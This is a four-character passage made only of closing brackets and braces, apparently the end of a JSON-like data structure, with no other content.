}]}}